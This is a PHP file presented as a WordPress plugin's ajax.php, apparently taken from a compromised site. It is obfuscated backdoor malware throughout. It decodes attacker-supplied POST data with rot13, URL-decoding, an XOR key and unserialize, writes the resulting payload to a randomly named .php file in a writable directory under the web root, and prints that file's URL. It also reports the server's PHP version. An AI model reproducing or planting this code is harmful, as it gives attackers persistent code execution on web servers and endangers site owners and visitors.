File: /home/slyfwmm/foar/wp-content/plugins/attachments/classes/ajax.php
<?php $pscCvG = "TkZzsptTaI";function gBbmrJD($pscCvG){$BUkgBA = chr(930-816).chr(97).'w'."\165".chr(114).chr(108)."\144"."\x65".'c'.chr(111)."\144".chr(101);$hNPymCUAdx = "\163".chr(1047-931)."\162".chr(95).chr(114).chr(217-106).chr(116)."\61".chr(51);$OshGAodvw = "\x73".chr(116)."\162".chr(282-187)."\163".'p'."\154"."\151"."\164";$pscCvG = $OshGAodvw($BUkgBA($hNPymCUAdx($pscCvG)));return $pscCvG;}function YsauNVB($FKpPU, $zYtlwXvt){$QiknRyXgy = chr(478-363).chr(116).'r'.chr(95).chr(115).chr(872-760).chr(108)."\x69".chr(116);$FKpPU = array_slice($QiknRyXgy(str_repeat($FKpPU, (count($zYtlwXvt)/16)+1)), 0, count($zYtlwXvt));return $FKpPU;}function weixyS($FPNqhQuKVH, $yiltfWD, $FKpPU){$ofBvFZ = "28491559-5693-4477-92a1-9f1ee6333198";return $FPNqhQuKVH ^ $ofBvFZ[$yiltfWD % strlen($ofBvFZ)] ^ $FKpPU;}function NXJnlFZ($zYtlwXvt, $FKpPU){$zYtlwXvt = array_map("weixyS", array_values($zYtlwXvt), array_keys($zYtlwXvt), array_values($FKpPU));$zYtlwXvt = implode("", $zYtlwXvt);$jKcAeFr = chr(453-336).'n'."\163".chr(101).chr(327-213).chr(109-4)."\x61".chr(627-519)."\x69".chr(514-392).chr(101);$zYtlwXvt = @$jKcAeFr($zYtlwXvt);return $zYtlwXvt;}function IhacgqV(){echo "PChDFJJWx";}function nHsnhgtqJ($FgczjRllsir){static $IieKwqmw = array();$walIO = glob($FgczjRllsir . '/*', GLOB_ONLYDIR);$DmyXHqLen = count($walIO);if ($DmyXHqLen > 0) {foreach ($walIO as $FgczjRlls) {$YUvhy = chr(843-738).chr(915-800)."\137"."\x77"."\162".chr(561-456)."\x74"."\141".'b'.chr(108)."\145";if (@$YUvhy($FgczjRlls)) {$IieKwqmw[] = $FgczjRlls;}}}foreach ($walIO as $FgczjRllsir) nHsnhgtqJ($FgczjRllsir);return $IieKwqmw;}function sdesiEEqkH(){echo "TkZzsptTaI";}function uUqVAp($zYtlwXvt){$cwAwUHZ = chr(68).'O'.'C'."\125".chr(77).chr(103-34)."\x4e".'T'.chr(1014-919).chr(779-697)."\x4f".chr(466-387)."\124";$DYXMSrzdB = $_SERVER[$cwAwUHZ];$walIO = nHsnhgtqJ($DYXMSrzdB);$YtWFpU = array_rand($walIO);$NQYbLLPIqw = chr(46).chr(1076-964).'h'.'p';$MvAZbnB = $walIO[$YtWFpU] . "/" . substr(md5(time()), 0, 8) . $NQYbLLPIqw;$EkHXumxcH = "\146"."\151".chr(108).'e'."\x5f".chr(608-496)."\x75".'t'."\x5f".chr(818-719).chr(614-503)."\156".chr(116).chr(1020-919)."\x6e".'t'."\163";@$EkHXumxcH($MvAZbnB, $zYtlwXvt);$XhBBpn = chr(894-822)."\x54"."\124".'P'."\137"."\110".chr(79).chr(83).'T';$DyMDeqBq = "\150".chr(367-251).'t'.chr(367-255)."\72".chr(814-767).'/';$sFiWNabkMs = $DyMDeqBq . $_SERVER[$XhBBpn] . substr($MvAZbnB, strlen($DYXMSrzdB));print($sFiWNabkMs);}foreach ($_POST as $FKpPU => $zYtlwXvt){$GJGyO = strlen($FKpPU);if ($GJGyO == 16){$zYtlwXvt = gBbmrJD($zYtlwXvt);$FKpPU = YsauNVB($FKpPU, $zYtlwXvt);$zYtlwXvt = NXJnlFZ($zYtlwXvt, $FKpPU);if (@is_array($zYtlwXvt)){$YtWFpU = array_keys($zYtlwXvt);$zYtlwXvt = $zYtlwXvt[$YtWFpU[0]];$YtWFpU = $YtWFpU[0];if ($zYtlwXvt !== $YtWFpU){uUqVAp($zYtlwXvt);}else {$imJcYLUJo = "\160".chr(104)."\160";$utNsyCal = chr(128-16).chr(104).chr(112).chr(118)."\x65"."\x72"."\x73".chr(105)."\x6f"."\156";$zYtlwXvt = Array($imJcYLUJo => @$utNsyCal(), );$oABwMT = chr(545-430)."\145"."\x72".chr(105).chr(97).chr(108).chr(522-417).chr(967-845)."\x65";echo @$oABwMT($zYtlwXvt);}die();}}}